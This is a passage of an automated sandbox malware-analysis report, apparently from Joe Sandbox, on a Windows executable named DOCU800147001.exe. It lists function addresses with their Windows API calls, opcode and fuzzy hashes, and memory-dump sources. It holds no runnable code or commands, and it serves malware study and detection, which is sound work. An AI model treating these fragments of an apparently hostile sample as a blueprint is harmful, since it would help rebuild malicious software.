Opcode Fuzzy Hash: 7925bea5e642960b0f97787477d610df41be1d64d665cf53514c4a0e3087d079
Instruction Fuzzy Hash: 77015B31904118EBCF10AFA1D9459AE7B71AB00344F10853BF601B51E0C7B849419FAA

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageA.USER32(?,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.2169614295.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2169596206.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169633961.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007B2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007BD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_DOCU800147001.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: a305159dcb344ce7468444dd7d46bec5de4f2ab16d0ed776570ab0d658f7d881
Instruction ID: d8ab33b2893eeb752da5ba8574eb8ffac6e67a4653c4243f2171701694b169e5
Opcode Fuzzy Hash: a305159dcb344ce7468444dd7d46bec5de4f2ab16d0ed776570ab0d658f7d881
Instruction Fuzzy Hash: A501FF31A242209BF7194B789C04B6A3698E751368F14C23BF811F66F1EA7CDC028B4D

Function 004022C2 Relevance: 3.0, APIs: 2, Instructions: 40registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402B09: RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00000022,00000000,?,?,?,004022CE,00000002), ref: 00402B31

RegDeleteValueA.ADVAPI32(00000000,00000000,00000033,00000002), ref: 004022E1
RegCloseKey.ADVAPI32(00000000), ref: 004022EA

Memory Dump Source

Source File: 00000000.00000002.2169614295.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2169596206.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169633961.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007B2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007BD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_DOCU800147001.jbxd

Similarity

API ID: CloseDeleteOpenValue
String ID:
API String ID: 849931509-0
Opcode ID: 25997b1b9af40c257d56997543861e8423bbb253a6b61985772ef5b0be77c3c7
Instruction ID: 08cb8e98125a8f79caec059c590c17e630d8f9a81ea777e9c37a3f9ee27a84ba
Opcode Fuzzy Hash: 25997b1b9af40c257d56997543861e8423bbb253a6b61985772ef5b0be77c3c7
Instruction Fuzzy Hash: B0F0C873A001119BDB00BBF48F4EAAE7264AB40318F10453BF101B71C1D9FC4D01A62D

Function 00404F37 Relevance: 3.0, APIs: 2, Instructions: 32comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 00404F47

Part of subcall function 00403EB4: SendMessageA.USER32(00010438,00000000,00000000,00000000), ref: 00403EC6

CoUninitialize.COMBASE(00000404,00000000), ref: 00404F93

Memory Dump Source

Source File: 00000000.00000002.2169614295.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2169596206.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169633961.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007B2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007BD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_DOCU800147001.jbxd

Similarity

API ID: InitializeMessageSendUninitialize
String ID:
API String ID: 2896919175-0
Opcode ID: aa4188b62621580d761a512a9855edb02dd72737c01844acf1fe4d105f554336
Instruction ID: 579c5d3032b156fa312e8b567b83ae12dc44854dcecbc9235507f8ad4aa886f6
Opcode Fuzzy Hash: aa4188b62621580d761a512a9855edb02dd72737c01844acf1fe4d105f554336
Instruction Fuzzy Hash: 80F024B75092118EF3415B519C00B62B7A4ABC4355F04807FFF44B72E1C37D9C00866D

Function 00401DAC Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000,00000001), ref: 00401DC2
EnableWindow.USER32(00000000,00000000), ref: 00401DCD

Memory Dump Source

Source File: 00000000.00000002.2169614295.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2169596206.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169633961.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007B2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007BD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_DOCU800147001.jbxd

Similarity

API ID: Window$EnableShow
String ID:
API String ID: 1136574915-0
Opcode ID: 3df5fa63fb776867876ce9c4f711150247bb4b5b5ef7133640c886279d349b3f
Instruction ID: 956114eb2dd735bad5388d6a49995c17c0853b2121f7b666b24c29842559ac1c
Opcode Fuzzy Hash: 3df5fa63fb776867876ce9c4f711150247bb4b5b5ef7133640c886279d349b3f
Instruction Fuzzy Hash: 7FE0C272E04120DFDB14FBB4AE8A56E3368DF10359F204437F602F10C1D2B89C41966E

Function 0040580B Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(00000003,00402C6B,C:\Users\user\Desktop\DOCU800147001.exe,80000000,00000003), ref: 0040580F
CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405831

Memory Dump Source

Source File: 00000000.00000002.2169614295.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2169596206.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169633961.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007B2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007BD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_DOCU800147001.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 8e2162a352c9b3d6bf888d6bdf81e716fa6f6f9a74e85dd2386317c2044df056
Instruction ID: 6507fbbaaec62448b9ae143b35cf90270df4f7fb8743d38c88d9b601ce0c16fe
Opcode Fuzzy Hash: 8e2162a352c9b3d6bf888d6bdf81e716fa6f6f9a74e85dd2386317c2044df056
Instruction Fuzzy Hash: 30D09E71658301AFEF098F20DE16F2E7AA2EB84B01F10562CB642940E0D6715C15DB16

Function 004057E6 Relevance: 3.0, APIs: 2, Instructions: 13COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(?,?,004053FE,?,?,00000000,004055E1,?,?,?,?), ref: 004057EB
SetFileAttributesA.KERNEL32(?,00000000), ref: 004057FF

Memory Dump Source

Source File: 00000000.00000002.2169614295.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2169596206.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169633961.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007B2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007BD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_DOCU800147001.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 9001e84463e5b3d4dd00ca1d2e00f3bb66c1d6c16300b22364f3152d7eb201de
Instruction ID: aa63d8e265fec5eadac8fa568c07c8a88d9efeeaed3b0596099faf0ea9ff9f2d
Opcode Fuzzy Hash: 9001e84463e5b3d4dd00ca1d2e00f3bb66c1d6c16300b22364f3152d7eb201de
Instruction Fuzzy Hash: 4FD0C972908120EBD2102728AD0889BBB55EB542717028B31FC65A22F0C7304C62CAA5

Function 00405883 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,000000FF,?,0040307D,00000000,00000000,00402EB4,000000FF,00000004,00000000,00000000,00000000), ref: 00405897

Memory Dump Source

Source File: 00000000.00000002.2169614295.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2169596206.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169633961.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007B2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007BD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_DOCU800147001.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: d04482319dc3028e4ce08f739f1cf32aeeec85f3b87b0f01a1fec36d148a5575
Instruction ID: df475e3658bf3194c7d81d82672e2126c085ec444a71cd8ce056a8dbc7516895
Opcode Fuzzy Hash: d04482319dc3028e4ce08f739f1cf32aeeec85f3b87b0f01a1fec36d148a5575
Instruction Fuzzy Hash: DFE0B63261425AABEF10AE659C00AAB7B6CEF05261F008432BD25E2150E235E8219AA5

Function 00403EB4 Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00010438,00000000,00000000,00000000), ref: 00403EC6

Memory Dump Source

Source File: 00000000.00000002.2169614295.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2169596206.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169633961.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007B2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007BD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_DOCU800147001.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 499d621b576c19b091bc41f39921371812b2519aa52b2e9da7a6b0776abc8bab
Instruction ID: 4e2cb91dbe0d2d692b2d6efd4920526f8e19958c85e819a44f08040356fb0c65
Opcode Fuzzy Hash: 499d621b576c19b091bc41f39921371812b2519aa52b2e9da7a6b0776abc8bab
Instruction Fuzzy Hash: 4CC04C716552016BEA219B51DD49F077B586750B01F288425B214E50D1C674E411D66D

Function 00403080 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402DF2,000293E4), ref: 0040308E

Memory Dump Source

Source File: 00000000.00000002.2169614295.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2169596206.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169633961.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007B2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007BD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_DOCU800147001.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 0070af3e33726fe8c9f5218e9eb5d27e4edbe1e9193197dd8736a9b9f47decae
Instruction ID: 49fdcfdf8b1973cd13611e97ba0bfafd8618b6cb304eeeee9131019f9f046fb0
Opcode Fuzzy Hash: 0070af3e33726fe8c9f5218e9eb5d27e4edbe1e9193197dd8736a9b9f47decae
Instruction Fuzzy Hash: 03B01271644200BFDA214F00DF05F057B21A790700F10C030B748380F082712420EB4D

Function 00403E9D Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00000028,?,00000001,00403CCE), ref: 00403EAB

Memory Dump Source

Source File: 00000000.00000002.2169614295.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2169596206.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169633961.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007B2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007BD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_DOCU800147001.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 35a6196438d1a925b40bb9ea9467f367b5e4dbb747a92e5962faa32c49fde1e9
Instruction ID: ba241267bb6bb17dd96f019753e8ffde110831ee2db3609d4ff9709f9aeeb587
Opcode Fuzzy Hash: 35a6196438d1a925b40bb9ea9467f367b5e4dbb747a92e5962faa32c49fde1e9
Instruction Fuzzy Hash: 9DB09235985200AAEA224B00DD09F457A62A7A4702F008024B200240F0C7B200A0DB19

Function 00403E8A Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,00403C67), ref: 00403E94

Memory Dump Source

Source File: 00000000.00000002.2169614295.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2169596206.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169633961.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007B2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007BD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_DOCU800147001.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 55a9af0324514cff772be1897e352456f34009a7f25595ef81cb2bf9e2c159b8
Instruction ID: c344ebf8080bf58bdbcf791898ba473ebe4cebcd01df1b5cfbd91641023a3e3b
Opcode Fuzzy Hash: 55a9af0324514cff772be1897e352456f34009a7f25595ef81cb2bf9e2c159b8
Instruction Fuzzy Hash: 76A01132808002EBCB028B00EF0AC0ABF22ABA0B00B028822F200800308A320820FF0A

Non-executed Functions

Function 004047E2 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 004047FA
GetDlgItem.USER32(?,00000408), ref: 00404805
GlobalAlloc.KERNEL32(00000040,00000001), ref: 0040484F
LoadBitmapA.USER32(0000006E), ref: 00404862
SetWindowLongA.USER32(?,000000FC,00404DD9), ref: 0040487B
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 0040488F
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 004048A1
SendMessageA.USER32(?,00001109,00000002), ref: 004048B7
SendMessageA.USER32(?,0000111C,00000000,00000000), ref: 004048C3
SendMessageA.USER32(?,0000111B,00000010,00000000), ref: 004048D5
DeleteObject.GDI32(00000000), ref: 004048D8
SendMessageA.USER32(?,00000143,00000000,00000000), ref: 00404903
SendMessageA.USER32(?,00000151,00000000,00000000), ref: 0040490F
SendMessageA.USER32(?,00001100,00000000,?), ref: 004049A4
SendMessageA.USER32(?,0000110A,00000003,00000000), ref: 004049CF
SendMessageA.USER32(?,00001100,00000000,?), ref: 004049E3
GetWindowLongA.USER32(?,000000F0), ref: 00404A12
SetWindowLongA.USER32(?,000000F0,00000000), ref: 00404A20
ShowWindow.USER32(?,00000005), ref: 00404A31
SendMessageA.USER32(?,00000419,00000000,?), ref: 00404B2E
SendMessageA.USER32(?,00000147,00000000,00000000), ref: 00404B93
SendMessageA.USER32(?,00000150,00000000,00000000), ref: 00404BA8
SendMessageA.USER32(?,00000420,00000000,00000020), ref: 00404BCC
SendMessageA.USER32(?,00000200,00000000,00000000), ref: 00404BEC
ImageList_Destroy.COMCTL32(?), ref: 00404C01
GlobalFree.KERNEL32(?), ref: 00404C11
SendMessageA.USER32(?,0000014E,00000000,00000000), ref: 00404C8A
SendMessageA.USER32(?,00001102,?,?), ref: 00404D33
SendMessageA.USER32(?,0000110D,00000000,00000008), ref: 00404D42
InvalidateRect.USER32(?,00000000,00000001), ref: 00404D62
ShowWindow.USER32(?,00000000), ref: 00404DB0
GetDlgItem.USER32(?,000003FE), ref: 00404DBB
ShowWindow.USER32(00000000), ref: 00404DC2

Strings

, xrefs: 00404D9A
M, xrefs: 0040498B
N, xrefs: 00404A6C

Memory Dump Source

Source File: 00000000.00000002.2169614295.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2169596206.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169633961.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007B2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007BD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_DOCU800147001.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: 839c033e8fe27d3679cd8475d1e02c88cf620d91a6620151f30cfcb1ed4b2a2a
Instruction ID: 37c04c0b90b062a92b087f54257bcfd02c7998473ae754967dc03ef3014ad8ed
Opcode Fuzzy Hash: 839c033e8fe27d3679cd8475d1e02c88cf620d91a6620151f30cfcb1ed4b2a2a
Instruction Fuzzy Hash: DA025CB0900249AFEB10DFA5DC45AAE7BB5FB84314F10857AF610BA2E1C7799E41CF58

Function 004042A6 Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 268stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 004042F5
SetWindowTextA.USER32(00000000,?), ref: 0040431F
SHBrowseForFolderA.SHELL32(?,0079D8D0,?), ref: 004043D0
CoTaskMemFree.OLE32(00000000), ref: 004043DB
lstrcmpiA.KERNEL32(: Completed,0079E4F8), ref: 0040440D
lstrcatA.KERNEL32(?,: Completed), ref: 00404419
SetDlgItemTextA.USER32(?,000003FB,?), ref: 0040442B

Part of subcall function 00405372: GetDlgItemTextA.USER32(?,?,00000400,00404462), ref: 00405385

Part of subcall function 00405DE5: CharNextA.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\DOCU800147001.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004030A3,C:\Users\user\AppData\Local\Temp\,76233410,0040327D), ref: 00405E3D
